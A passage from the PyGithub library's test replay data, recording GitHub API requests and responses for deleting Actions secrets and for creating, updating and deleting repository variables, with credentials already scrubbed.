'178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4754'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '246'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED0E:97A3:1348768:289B21F:655930E7')] {"total_count":2,"secrets":[{"name":"SECRET_NAME_ONE","created_at":"2023-11-18T21:47:18Z","updated_at":"2023-11-18T21:47:18Z"},{"name":"SECRET_NAME_TWO","created_at":"2023-11-18T21:47:19Z","updated_at":"2023-11-18T21:47:19Z"}]} https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_ONE {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:19 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4753'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '247'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ED0F:5BBE:143ACFD:2A7AA0E:655930E7')] https DELETE api.github.com None /repos/AndrewJDawes/PyGithub/actions/secrets/SECRET_NAME_TWO {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:47:19 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4752'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '248'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ED10:427F:2BBBF4:5C9975:655930E7')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRepoVariable.txt0000644000175100001660000001254414756101563024356 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable_name", "value": "variable-value"} 201 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4899'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '101'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '608F:387C:CEA47:1A4258:649C87C3')] {} https PATCH api.github.com None /repos/PyGithub/PyGithub/actions/variables/variable_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "variable_name", "value": "variable-value123"} 204 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:33 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4898'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '102'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '6BD2:49D7:E5FA9:1D2240:649C87C5')] https DELETE api.github.com None /repos/PyGithub/PyGithub/actions/variables/variable_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:35 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4897'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '103'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '10FC:400A:BB162:17BE3C:649C87C6')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testRepoVariables.txt0000644000175100001660000006673214756101563024551 0ustar00runnerdockerhttps GET api.github.com None /repos/AndrewJDawes/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"68ec45d743bb1d53f805ddfd5ce767fe4c6f95f825f45853d143e7429d462251"'), ('Last-Modified', 'Sat, 18 Nov 2023 13:36:18 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4793'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '207'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ECD0:3AF1:FC6E76:2160B45:655930BF')] {"id":713113574,"node_id":"R_kgDOKoE_5g","name":"PyGithub","full_name":"AndrewJDawes/PyGithub","private":false,"owner":{"login":"AndrewJDawes","id":53574062,"node_id":"MDQ6VXNlcjUzNTc0MDYy","avatar_url":"https://avatars.githubusercontent.com/u/53574062?v=4","gravatar_id":"","url":"https://api.github.com/users/AndrewJDawes","html_url":"https://github.com/AndrewJDawes","followers_url":"https://api.github.com/users/AndrewJDawes/followers","following_url":"https://api.github.com/users/AndrewJDawes/following{/other_user}","gists_url":"https://api.github.com/users/AndrewJDawes/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewJDawes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewJDawes/subscriptions","organizations_url":"https://api.github.com/users/AndrewJDawes/orgs","repos_url":"https://api.github.com/users/AndrewJDawes/repos","events_url":"https://api.github.com/users/AndrewJDawes/events{/privacy}","received_events_url":"https://api.github.com/users/AndrewJDawes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/AndrewJDawes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/AndrewJDawes/PyGithub","forks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/forks","keys_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/teams","hooks_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/events","assignees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/tags","blobs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/subscription","commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/merges","archive_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/downloads","issues_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/AndrewJDawes/PyGithub/deployments","created_at":"2023-11-01T21:36:28Z","updated_at":"2023-11-18T13:36:18Z","pushed_at":"2023-11-18T21:26:15Z","git_url":"git://github.com/AndrewJDawes/PyGithub.git","ssh_url":"git@github.com:AndrewJDawes/PyGithub.git","clone_url":"https://github.com/AndrewJDawes/PyGithub.git","svn_url":"https://github.com/AndrewJDawes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11644,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-11-17T07:50:23Z","pushed_at":"2023-11-18T21:45:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13598,"stargazers_count":6375,"watchers_count":6375,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1692,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":285,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1692,"open_issues":285,"watchers":6375,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"}},"network_count":1692,"subscribers_count":0} https POST api.github.com None /repos/AndrewJDawes/PyGithub/actions/variables {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "VARIABLE_NAME_ONE", "value": "variable-value-one"} 201 [('Server', 'GitHub.com'), ('Date', 'Sat, 18 Nov 2023 21:46:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a788642757746bcde9de92d247c2259aa7cd5f159df240323d704e110a35a374"'), ('X-OAuth-Scopes', 'gist, read:org, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('x-oauth-client-id', '178c6fc778ccc68e1d6a'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4792'), ('X-RateLimit-Reset', '1700345195'), ('X-RateLimit-Used', '208'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ECD1:740F:F26048:200D4CD:655930BF')] {} https POST api.github.com None 